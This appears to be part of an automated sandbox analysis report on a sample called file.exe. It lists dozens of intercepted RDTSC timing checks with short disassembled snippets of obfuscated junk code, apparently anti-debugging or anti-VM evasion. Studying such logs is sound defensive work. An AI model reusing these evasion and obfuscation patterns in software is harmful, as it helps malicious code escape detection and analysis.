                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116BC6D second address: 116BC73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116BD16 second address: 116BD1B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116BD1B second address: 116BD41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jmp 00007FBF09325AC9h 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116C3C1 second address: 116C3C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116C3C5 second address: 116C3CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116C910 second address: 116C927 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 ja 00007FBF08D33346h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e pushad 0x0000000f jp 00007FBF08D33346h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116C927 second address: 116C930 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116CF15 second address: 116CF28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Fh 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116CF28 second address: 116CF2C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116EA06 second address: 116EA0B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116EA0B second address: 116EA2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325ABEh 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f js 00007FBF09325AB8h 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116EA2B second address: 116EA88 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBF08D33348h 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d call 00007FBF08D33353h 0x00000012 mov di, F3D7h 0x00000016 pop edi 0x00000017 push 00000000h 0x00000019 cmc 0x0000001a push 00000000h 0x0000001c push 00000000h 0x0000001e push ebx 0x0000001f call 00007FBF08D33348h 0x00000024 pop ebx 0x00000025 mov dword ptr [esp+04h], ebx 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc ebx 0x00000032 push ebx 0x00000033 ret 0x00000034 pop ebx 0x00000035 ret 0x00000036 xchg eax, ebx 0x00000037 push ecx 0x00000038 pushad 0x00000039 pushad 0x0000003a popad 0x0000003b push ecx 0x0000003c pop ecx 0x0000003d popad 0x0000003e pop ecx 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 pushad 0x00000043 pushad 0x00000044 popad 0x00000045 push ecx 0x00000046 pop ecx 0x00000047 popad 0x00000048 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116E19B second address: 116E1A9 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116F48C second address: 116F510 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 jmp 00007FBF08D33351h 0x0000000d nop 0x0000000e mov edi, eax 0x00000010 push 00000000h 0x00000012 mov dword ptr [ebp+122D1F21h], eax 0x00000018 sub dword ptr [ebp+122D1C1Ch], eax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007FBF08D33348h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 00000015h 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a xchg eax, ebx 0x0000003b pushad 0x0000003c je 00007FBF08D33355h 0x00000042 jmp 00007FBF08D3334Fh 0x00000047 pushad 0x00000048 push edx 0x00000049 pop edx 0x0000004a jmp 00007FBF08D3334Fh 0x0000004f popad 0x00000050 popad 0x00000051 push eax 0x00000052 pushad 0x00000053 pushad 0x00000054 pushad 0x00000055 popad 0x00000056 jng 00007FBF08D33346h 0x0000005c popad 0x0000005d push eax 0x0000005e push edx 0x0000005f push esi 0x00000060 pop esi 0x00000061 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116F260 second address: 116F266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116F266 second address: 116F26A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1170026 second address: 117002A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117002A second address: 1170090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 jne 00007FBF08D3335Eh 0x0000000f push 00000000h 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FBF08D33348h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000018h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b push 00000000h 0x0000002d mov si, di 0x00000030 xchg eax, ebx 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 jmp 00007FBF08D33354h 0x00000039 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 116FDCE second address: 116FDD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1170AC6 second address: 1170ACA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1170ACA second address: 1170AD0 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1170AD0 second address: 1170AD5 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1170887 second address: 117088C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1171574 second address: 1171579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1171579 second address: 1171583 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 je 00007FBF09325AB6h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1171CF0 second address: 1171D01 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FBF08D3334Dh 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1171D01 second address: 1171D05 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1171D05 second address: 1171D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 jbe 00007FBF08D33352h 0x0000000f jo 00007FBF08D3334Ch 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117568F second address: 1175693 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1175693 second address: 1175699 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1175D76 second address: 1175D85 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FBF09325ABAh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1175D85 second address: 1175D97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007FBF08D33348h 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11727C3 second address: 11727CE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FBF09325AB6h 0x0000000a popad 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1176CAD second address: 1176CB1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1176CB1 second address: 1176CB5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1178E2A second address: 1178E4A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33352h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push esi 0x0000000c jc 00007FBF08D3334Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11790A1 second address: 11790A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11790A5 second address: 11790B3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117AF96 second address: 117AFFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 mov dword ptr [esp], eax 0x0000000b call 00007FBF09325AC4h 0x00000010 jmp 00007FBF09325ABCh 0x00000015 pop ebx 0x00000016 push 00000000h 0x00000018 add dword ptr [ebp+1244FB0Eh], eax 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push eax 0x00000023 call 00007FBF09325AB8h 0x00000028 pop eax 0x00000029 mov dword ptr [esp+04h], eax 0x0000002d add dword ptr [esp+04h], 00000018h 0x00000035 inc eax 0x00000036 push eax 0x00000037 ret 0x00000038 pop eax 0x00000039 ret 0x0000003a jmp 00007FBF09325ABCh 0x0000003f xchg eax, esi 0x00000040 push ecx 0x00000041 push eax 0x00000042 push edx 0x00000043 push ebx 0x00000044 pop ebx 0x00000045 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117AFFE second address: 117B002 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117BE39 second address: 117BE73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FBF09325ACFh 0x0000000c jmp 00007FBF09325AC9h 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushad 0x00000015 jng 00007FBF09325AB6h 0x0000001b jno 00007FBF09325AB6h 0x00000021 popad 0x00000022 push eax 0x00000023 push edx 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117BE73 second address: 117BE77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117BE77 second address: 117BE7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117CDFF second address: 117CE60 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FBF08D33348h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d stc 0x0000000e xor ebx, 7376B567h 0x00000014 push 00000000h 0x00000016 push 00000000h 0x00000018 push edx 0x00000019 call 00007FBF08D33348h 0x0000001e pop edx 0x0000001f mov dword ptr [esp+04h], edx 0x00000023 add dword ptr [esp+04h], 00000014h 0x0000002b inc edx 0x0000002c push edx 0x0000002d ret 0x0000002e pop edx 0x0000002f ret 0x00000030 push esi 0x00000031 sub edi, dword ptr [ebp+122D2BF9h] 0x00000037 pop edi 0x00000038 push 00000000h 0x0000003a or edi, dword ptr [ebp+122D29B1h] 0x00000040 xchg eax, esi 0x00000041 jmp 00007FBF08D3334Dh 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 jnl 00007FBF08D3334Ch 0x0000004f rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117C01A second address: 117C024 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007FBF09325AB6h 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117F4A0 second address: 117F4A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 117F4A4 second address: 117F4AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1180431 second address: 1180435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1180435 second address: 118043B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1181415 second address: 1181419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1181419 second address: 1181429 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 118243A second address: 1182440 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11824E7 second address: 11824F1 instructions: 0x00000000 rdtsc 0x00000002 je 00007FBF09325ABCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1181595 second address: 1181599 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1184479 second address: 118447D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1182694 second address: 118271A instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FBF08D33348h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 00000017h 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 push dword ptr fs:[00000000h] 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007FBF08D33348h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 0000001Ch 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 sub dword ptr [ebp+122D223Fh], esi 0x0000004c mov dword ptr fs:[00000000h], esp 0x00000053 mov dword ptr [ebp+122D3148h], ebx 0x00000059 mov eax, dword ptr [ebp+122D020Dh] 0x0000005f mov edi, dword ptr [ebp+122D2B45h] 0x00000065 push FFFFFFFFh 0x00000067 mov dword ptr [ebp+124505F8h], edi 0x0000006d nop 0x0000006e push ecx 0x0000006f jnp 00007FBF08D3334Ch 0x00000075 push eax 0x00000076 push edx 0x00000077 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 118447D second address: 11844E6 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FBF09325AB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c jc 00007FBF09325AC4h 0x00000012 nop 0x00000013 mov di, DEB7h 0x00000017 or bx, 6E31h 0x0000001c push 00000000h 0x0000001e mov edi, dword ptr [ebp+122D2A2Dh] 0x00000024 push 00000000h 0x00000026 push 00000000h 0x00000028 push ebp 0x00000029 call 00007FBF09325AB8h 0x0000002e pop ebp 0x0000002f mov dword ptr [esp+04h], ebp 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc ebp 0x0000003c push ebp 0x0000003d ret 0x0000003e pop ebp 0x0000003f ret 0x00000040 jmp 00007FBF09325AC2h 0x00000045 push eax 0x00000046 pushad 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a pop eax 0x0000004b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11844E6 second address: 11844F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11853D5 second address: 11853D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11853D9 second address: 118543D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 pushad 0x00000009 jno 00007FBF08D33346h 0x0000000f jng 00007FBF08D33346h 0x00000015 popad 0x00000016 pop eax 0x00000017 nop 0x00000018 pushad 0x00000019 pushad 0x0000001a mov edx, dword ptr [ebp+122D2B59h] 0x00000020 add cx, 9516h 0x00000025 popad 0x00000026 or esi, dword ptr [ebp+122D2BD9h] 0x0000002c popad 0x0000002d add ebx, 7B7FEC36h 0x00000033 push 00000000h 0x00000035 call 00007FBF08D3334Fh 0x0000003a movzx edi, dx 0x0000003d pop ebx 0x0000003e push 00000000h 0x00000040 mov ebx, dword ptr [ebp+122D28B1h] 0x00000046 push eax 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push edi 0x0000004b pop edi 0x0000004c jmp 00007FBF08D3334Dh 0x00000051 popad 0x00000052 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11867B4 second address: 11867B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11867B9 second address: 1186845 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a cld 0x0000000b push dword ptr fs:[00000000h] 0x00000012 mov edi, dword ptr [ebp+122D2985h] 0x00000018 mov dword ptr fs:[00000000h], esp 0x0000001f push 00000000h 0x00000021 push edx 0x00000022 call 00007FBF08D33348h 0x00000027 pop edx 0x00000028 mov dword ptr [esp+04h], edx 0x0000002c add dword ptr [esp+04h], 0000001Bh 0x00000034 inc edx 0x00000035 push edx 0x00000036 ret 0x00000037 pop edx 0x00000038 ret 0x00000039 pushad 0x0000003a sub dword ptr [ebp+122D1CD6h], eax 0x00000040 jg 00007FBF08D3334Ch 0x00000046 add eax, dword ptr [ebp+122D2576h] 0x0000004c popad 0x0000004d mov eax, dword ptr [ebp+122D0B6Dh] 0x00000053 movzx edi, si 0x00000056 push FFFFFFFFh 0x00000058 mov dword ptr [ebp+122D25BFh], ecx 0x0000005e nop 0x0000005f pushad 0x00000060 jmp 00007FBF08D33354h 0x00000065 jng 00007FBF08D3334Ch 0x0000006b push eax 0x0000006c push edx 0x0000006d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11904EE second address: 1190505 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 ja 00007FBF09325AB6h 0x0000000e popad 0x0000000f jp 00007FBF09325ABCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 118FF02 second address: 118FF08 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1190047 second address: 119007A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FBF09325AC7h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jmp 00007FBF09325AC1h 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1194F05 second address: 1194F09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1199F6E second address: 1199F7A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 1199F7A second address: 1199F8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Ch 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 119A516 second address: 119A52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FBF09325ABAh 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jo 00007FBF09325AB6h 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 119A52D second address: 119A531 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 119A8FF second address: 119A908 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 119A908 second address: 119A90C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 119A90C second address: 119A924 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF09325ABDh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push esi 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11A0D7C second address: 11A0D92 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FBF08D3334Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11A0D92 second address: 11A0D96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11A64F7 second address: 11A64FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11A5284 second address: 11A5296 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 js 00007FBF09325AB6h 0x0000000b jp 00007FBF09325AB6h 0x00000011 pop eax 0x00000012 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11A61F5 second address: 11A61F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AD047 second address: 11AD04E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AB9B2 second address: 11AB9B8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
                Source: C:\Users\user\Desktop\file.exeRDTSC instruction interceptor: First address: 11AB9B8 second address: 11AB9BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
